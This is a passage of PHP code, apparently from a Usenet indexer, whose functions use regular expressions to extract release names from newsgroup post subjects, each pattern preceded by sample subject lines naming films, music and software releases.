\"Medieval Wii Pal.vol108+29.par2\" >< 60/60 (4,82 GB) >< 95,77 MB > yEnc\n\t\tif (preg_match('/^.+?usenet-space.+?Powered by.+? ([\\w. ()-]{8,}?\\b)' . $this->e0 .\n\t\t\t\t\t '.+? \\d+\\/(\\d+.+?)$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //W33d5.S01.720p.BluRay.x264 - \"W33d5.S01.720p.BluRay.x264.part63.rar\" yEnc\n\t\tif (preg_match('/^[\\w. -]+[-_\\s]{0,3}\"([\\w.()-]{8,}?\\b)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Man.Of.Steel.2013.BRRip.x264.AC3-UNiQUE - [02/38] - \"Man.Of.Steel.2013.BRRip.x264.AC3-UNiQUE.part01.rar\" yEnc\n\t\tif (preg_match('/^[\\w. -]+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w.()-]{8,}?\\b)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //>GOU<< XUS Clock Plus v1.5.0 with Key [TorDigger].PAR2 >>www.SSL-News.info< yEnc\n\t\tif (preg_match('/^>GOU<< ([\\w.\\[\\]() -]{8,}?\\b)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rarr|\\.7z)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}).+www\\.SSL-News\\.info<[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Man.Of.Steel.2013.BRRip.x264.AC3-UNiQUE - [02/38] - \"Man.Of.Steel.2013.BRRip.x264.AC3-UNiQUE.part01.rar\" yEnc\n\t\tif (preg_match('/^[\\w. -]+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w.()-]{8,}?\\b)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //>GOU<< XUS Clock Plus v1.5.0 with Key [TorDigger].PAR2 >>www.SSL-News.info< yEnc\n\t\tif (preg_match('/^>GOU<< ([\\w.\\[\\]() -]{8,}?\\b)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rarr|\\.7z)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}).+www\\.SSL-News\\.info<[-_\\s]{0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"Drains_READNFO-VACE.nfo\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function sound_mp3_complete_cd()\n\t{\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[ _-]{0,3}\\[Lords-of-usenet\\][ _-]{0,3}<<Partner of SSL-News.info>>[ _-]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(06/11) - <www.lords-of-usenet.org><by Nerts> - \"Diens - Schwarzmale.vol00+01.PAR2\" - 141,07 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[ _-]{0,3}<www\\.lords-of-usenet\\.org><by Nerts>[ _-]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //trtk09920 - [01/12] - \"Guido Negraszus - Night Cafe Iii (Freedom Travellers) (2012)(320).par2\" yEnc\n\t\tif (preg_match('/^trtk\\d+[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [01/31] - \"Adrian von Ziegler - Discography - 2010-2013.par2\" yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<www.Lords-Of-Usenet.org><by Nerts> (09/18) - \"Mantus - Fatum (2013) [2CD].FH.vol00+2.PAR2\" - 336,39 MB - yEnc\n\t\tif (preg_match('/^<www\\.lords-of-usenet\\.org><by Nerts>[ _-]{0,3}\\(\\d+\\/\\d+\\)[ _-]{0,3}[ _-]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(08/15) \"Noemi-Red.(Unreleased).2006.by.NYCrules.vol000+01.PAR2\" - 179,66 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[ _-]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[16_Bit_Lolitas-Warung_Brazil_002-2CD-2012-iHF] [www.usenet4ever.info by Secretusenet] - \"000-16_bit_lolitas-warung_brazil_002-2cd-2012-ihf.sfv\" yEnc\n\t\t//[3RD_Prototype_-_On_My_Way-(TB7368)-WEB-2013-FMC] [www.usenet4ever.info by Secretusenet] - \"01-3rd_prototype_-_deafback-when_you_are_in_the_dark_(deafback_remix).mp3\" yEnc\n\t\t//[Armin_Van_Buuren_Feat._Fiora-Waiting_For_The_Night-(ARMD1140)-WEB-2013-UKHx] [www.usenet4ever.info by Secretusenet] - \"00-armin_van_buuren_feat._fiora-waiting_for_the_night-(armd1140)-web-2013-ukhx.m3u\" yEnc\n\t\tif (preg_match('/^\\[([a-zA-Z0-9-_\\(\\)\\.]+)\\] \\[www\\.usenet4ever\\.info by Secretusenet\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //>ghost-of-usenet.org<< 16_Bit_Lolitas-Warung_Brazil_002-2CD-2012-iHF >>www.SSL-News.info> - \"101-16_bit_lolitas-warung_brazil_002_cd1.mp3\" yEnc\n\t\tif (preg_match('/^>ghost-of-usenet\\.org<< ([a-zA-Z0-9-_\\(\\)\\.]+) >>www\\.SSL-News\\.info> - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Blok_B-Bienvenue_Dans_Mon_Blok_Vol.1-2005-BZ_INT [20 of 27] \"01-gangsta.mp3\" yEnc\n\t\t//DJ Neev - HedKandi_2013-06-08 (Ministry of Sound Radio) [01/13] - \"DJ Neev - HedKandi_2013-06-08 (Ministry of Sound Radio).par2\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9 -_\\(\\)\\.]+) \\[\\d+(\\/| of )(\\d+\\])[-_\\s]{0,3}\".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(www.Thunder-News.org) >Dee_And_Crane-Let_The_Music_Play-WEB-2012-UKHx< <Sponsored by Secretusenet> - \"05-dee_and_crane-let_the_music_play_(jay_frogs_keep_the_groove_remix_edit).mp3\" yEnc\n\t\tif (preg_match('/^\\(www\\.Thunder-News\\.org\\) >(.+?)< <Sponsored by Secretusenet> - \".+?' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[1/1] - (MP3 ALBUM CHARTS) - \"Andreas Gabalier - Volksrock'n'roller-Live.rar\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] - \\((MP3 )?ALBUM CHARTS\\) - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . ' yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function ftn()\n\t{\n\t\t//Usenet collector(aangemeld bij usenet collector) [001/124] - \"Northern_Exposure_Season_4_dvd_2.par2\" yEnc\n\t\tif (preg_match('/^(Usenet collector)?\\(aangemeld.+\\) \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //\"Family Games-OUTLAWS.nfo\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Adobe Photoshop Lightroom v5.2 - FiNaL - Multilingual [WIN].vol037+32.PAR2 yEnc\n\t\tif (preg_match('/^(.+?)([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4}) {0,3}yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Wondershare AllMyTube 3.8.0.4 + Patch) [01/12] - \"Wondershare AllMyTube 3.8.0.4 + Patch.nfo\" yEnc\n\t\tif (preg_match('/^\\(([\\w+ .()-]{8,})\\)[-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\".+?' . $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(????) [10/26] - \"The.Young.Riders.S01E02.480pWEB-DL.AAC2.0.H.264-AJP69.part09.rar\" yEnc\n\t\tif (preg_match('/^\\(\\?+\\) \\[\\d+\\/\\d+\\] - \".+?' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function u_4all()\n\t{\n\t\tif (preg_match('/^(.+)\\[.+?usenet-4all\\.info\\][ _-]{0,3}\\[.+\\][ _-]{0,3}\\(\\d+\\/\\d+\\) (\"|#34;).+(\"|#34;) yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//-4y (PW) [ usenet-4all.info - powered by ssl.news -] [1,44 GB] [08/14] \"71cc4edc6R08eb7.vol00+01.PAR2\" yEnc\n\t\tif (preg_match('/\\[ usenet-4all\\.info - powered by ssl\\.news -\\][-_\\s]{0,3}\\[\\d+([.,]\\d+)? [kKmMgG][bB]\\][-_\\s]{0,3}\\[\\d+\\/\\d+\\][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//(????) [02838/75096] - \"3D Browser v5.51.rar\" yEnc\n\t\tif (preg_match('/^\\(\\?{4}\\) \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//(????) [02838/75096] - \"3D Browser v5.51.rar\" yEnc\n\t\tif (preg_match('/^\\(\\?{4}\\) \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 . '.+yEnc$/ui', $this->subject, $match)\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//(06/10) \"Christopher Paolini - Eragon 01-04.part5.rar\" - 7,84 GB - yEnc\n\t\t//[09/22] - \"H56A2_20131018_038.part08.rar\" - 858,20 MB yEnc\n\t\tif (preg_match('/^[\\[\\(]\\d+\\/\\d+[\\]\\)][-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e2, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//(07/27) - Description - \" Court Order 890879887870337.vol015+016.par2\" - 1.80 GB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[-_\\s]{0,3}Description[-_\\s]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e2, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//\"18X Girls Mirabella Gets Her Tight Ass Hole Plowed Hard.rar\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1, $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function ath()\n\t{\n\t\tif (preg_match('/^\\[\\d+\\/\\d+ ([a-zA-Z0-9]+ .+?)\\..+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //8b33bf5960714efbe6cfcf13dd0f618f - (01/55) - \"8b33bf5960714efbe6cfcf13dd0f618f.par2\" yEnc\n\t\tif (preg_match('/^([a-f0-9]{32}) - \\(\\d+\\/\\d+\\) - \"[a-f0-9]{32}\\..+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //::: Usejunkies.tk ::: - [01/11] - \"DJ Shog - DNA - HD 720p.par2\" - 47,76 MB yEnc\n\t\tif (preg_match('/^.+Usejunkies.tk.+ \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t$this->e2,\n\t\t\t$this->subject,\n\t\t\t$match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Uploader.Presents-Mutter.und.Sohn.German.2013.DVDRiP.x264-XFi[01/27]\"xf-mutterusohn.nfo\" yEnc\n\t\tif (preg_match('/^Uploader\\.Presents-(.+)[\\(\\[]\\d+\\/\\d+[\\)\\]]\".+\" yEnc$/',\n\t\t\t$this->subject,\n\t\t\t$match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<->http://you-need-all.tk<-> - [28/32] - \"Dirty Minded Wife Advent Vol 40 JAV Uncensored DVDRip x264-APX.vol007+08.par2\" yEnc\n\t\tif (preg_match('/^.+http:\\/\\/you-need-all\\.tk.+\\[\\d+\\/\\d+\\][\\s-_]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t$this->subject,\n\t\t\t$match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[02/21] - \"Staendig Feucht.part01.rar\" - 493.38 MB ....::::UR-powered by SecretUsenet.com::::.... yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 . ' - \\d+[.,]\\d+ [kKmMgG][bB] .+? yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //>>> usenet4ever.info <<<+>>> secretusenet.com <<< \"Weltnaturerbe USA Grand Canyon Nationalpark 2012 3D Blu-ray untouched - DarKneSS.part039.rar\" - DarKneSS yEnc\n\t\tif (preg_match('/^>+ .+?\\.info [<>+]+ .+?\\.com <+ \"(.+?)\\s+- .*?' . $this->e0 .\n\t\t\t' - .+? yEnc$/',\n\t\t\t$this->subject,\n\t\t\t$match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //nmlsrgnb - [04/37] - \"htwlngmrstdsntdnh.part03.rar\" yEnc\n\t\tif (preg_match('/^([a-z]+) - \\[\\d+\\/\\d+\\] - \"[a-z]+\\..+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //>>>>>Hell-of-Usenet>>>>> - [01/33] - \"Cassadaga Hier lebt der Teufel 2011 German AC3 DVDRip XViD iNTERNAL-VhV.par2\" yEnc\n\t\tif (preg_match('/^>+Hell-of-Usenet(\\.org)?>+( -)? \\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '( - \\d+[.,]\\d+ [kKmMgG][bB])? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[3];\n\t\t} //1dbo1u5ce6182436yb2eo (001/105) \"1dbo1u5ce6182436yb2eo.par2\" yEnc\n\t\tif (preg_match('/^([a-z0-9]{10,}) \\(\\d+\\/\\d+\\) \"[a-z0-9]{10,}\\..+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<<<>>>kosova-shqip.eu<<< Deep SWG - 90s Club Megamix 2011 >>>kosova-shqip.eu<<<<<< - (2/4) - \"Deep SWG - 90s Club Megamix 2011.rar\" yEnc\n\t\tif (preg_match('/^<<<>>>kosova-shqip\\.eu<<< (.+?) >>>kosova-shqip.eu<<<<<< - \\(\\d+\\/\\d+\\) - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<Have Fun> \"Invader.German.2012.PAL.DVDR-MORTAL.nfo\" SpongeBoZZ yEnc\n\t\tif (preg_match('/^<Have Fun> \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' SpongeBoZZ yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1] . $match[2];\n\t\t} //Old Dad uppt Taffe Mädels XivD LD HDTV Rip oben Kleine Einblendug German 01/43] - \"Taffe Mädels.par2\" yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9].+?\\s{2,}|Old Dad uppt\\s+)(.+?) \\d+\\/\\d+\\] - \".+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //(????) Rom.S02E09.Deus.Impeditio.Esuritori.Nullus Rom.S02E09.Deus.Impeditio.Esuritori.Nullus.avi.vol007+08.PAR2\" yEnc\n\t\tif (preg_match('/^\\(\\?+\\) (.+) .+?([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4})\" yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"27MZ4CXQ3AN86D95KVHB.part06.rar\" - 21,61 GB - yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e2,\n\t\t\t$this->subject,\n\t\t\t$match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //\"2EACM94X65NHZ37.par2\" yEnc\n\t\tif (preg_match('/^\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e1,\n\t\t\t$this->subject,\n\t\t\t$match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //A7Soft ExamXML v4.37.rar yEnc\n\t\tif (preg_match('/^([^.]{8,})([-_](proof|sample|thumbs?))*(\\.part\\d*(\\.rar)?|\\.rar|\\.7z)?(\\d{1,3}\\.rev|\\.vol.+?|\\.[A-Za-z0-9]{2,4})[- ]{0,3}yEnc$/u',\n\t\t\t$this->subject,\n\t\t\t$match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function bloaf()\n\t{\n\t\tif (preg_match('/^([a-f0-9]{32}) - \\(\\d+\\/\\d+\\) - \"[a-f0-9]{32}.+?\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[10/17] - \"EGk13kQ1c8.part09.rar\" - 372.48 MB <-> usenet-space-cowboys.info <-> powered by secretusenet.com <-> yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+\\] - \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[,.]\\d+ [mMkKgG][bB] .+? usenet-space.+?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(Neu bei Bitfighter vom 23-07-2013) - \"01 - Sido - Bilder Im Kopf.mp3\" yEnc\n\t\tif (preg_match('/^\\((.+?)\\) - \".+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //(2/8) \"Mike.und.Molly.S01E22.Maennergespraeche.GERMAN.DL.DUBBED.720p.BluRay.x264-TVP.part1.rar\" - 1023,92 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' . $this->e0 .\n\t\t\t\t\t ' - \\d+[,.]\\d+ [mMkKgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //4y (PW) [@ usenet-4all.info - powered by ssl.news -] [27,35 GB] [001/118] \"1f8867bb6f89491793d3.part001.rar\" yEnc\n\t\tif (preg_match('/^.+? (-|\\(PW\\))\\s+\\[.+? -\\] \\[\\d+[,.]\\d+ [mMkKgG][bB]\\] \\[\\d+\\/\\d+\\] \"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e1,\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //Bennos Special Tools DVD - Die Letzte <> DRM <><> PW <> - (002/183) \"Bennos Special Tools DVD - Die Letzte.nfo\" - 8,28 GB - yEnc\n\t\tif (preg_match('/^(\\[[A-Za-z]+\\]\\.)?([a-zA-Z0-9].+?)([\\^<> ]+give-me-all\\.org[\\^<> ]+|[\\^<> ]+)DRM[\\^<> ]+.+? - \\(\\d+\\/\\d+\\)\\s+\".+?\" - .+? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//(1/9) - CyberLink.PhotoDirector.4.Ultra.4.0.3306.Multilingual - \"CyberLink.PhotoDirector.4.Ultra.4.0.3306.Multilingual.par2\" - 154,07 MB - yEnc\n\t\t//(1/5) - Mac.DVDRipper.Pro.4.0.8.Mac.OS.X- \"Mac.DVDRipper.Pro.4.0.8.Mac.OS.X.rar\" - 24,12 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\) - (.+?) ?- \".+?\" - \\d+[,.]\\d+ [mMkKgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //[3/3 Helene Fischer - Die Biene Maja 2013 MP3 Helene Fischer - Die Biene Maja 2013 MP3.mp3.vol0+1.PAR2\" yEnc\n\t\tif (preg_match('/^\\[\\d+\\/\\d+ (.+?)\\..+?\" yEnc$/', $this->subject, $match)) {\n\t\t\treturn $match[1];\n\t\t} //Uploader.Presents-Mutter.und.Sohn.German.2013.DVDRiP.x264-XFi[01/27]\"xf-mutterusohn.nfo\" yEnc\n\t\tif (preg_match('/^Uploader\\.Presents-(.+)[\\(\\[]\\d+\\/\\d+[\\)\\]]\".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}", "public function mp3_complete_cd()\n\t{\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[ _-]{0,3}\\[Lords-of-usenet\\][ _-]{0,3}<<Partner of SSL-News.info>>[ _-]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(06/11) - <www.lords-of-usenet.org><by Nerts> - \"Diens - Schwarzmale.vol00+01.PAR2\" - 141,07 MB - yEnc\n\t\tif (preg_match('/^\\(\\d+\\/\\d+\\)[ _-]{0,3}<www\\.lords-of-usenet\\.org><by Nerts>[ _-]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //<www.Lords-Of-Usenet.org><by Nerts> (09/18) - \"Mantus - Fatum (2013) [2CD].FH.vol00+2.PAR2\" - 336,39 MB - yEnc\n\t\tif (preg_match('/^<www\\.lords-of-usenet\\.org><by Nerts>[ _-]{0,3}\\(\\d+\\/\\d+\\)[ _-]{0,3}[ _-]{0,3}\"([\\w\\säöüÄÖÜß+¤ƒ¶!.,&_()\\[\\]\\'\\`{}#-]{8,}?\\b.?)' .\n\t\t\t\t\t $this->e0 . '[ _-]{0,3}\\d+[.,]\\d+ [kKmMgG][bB][ _-]{0,3}yEnc$/i',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t} //(08/15) \"Noemi-Red.(Unreleased).2006.by.NYCrules.vol000+01.PAR2\" - 179,66 MB - yEnc\n\t\tif 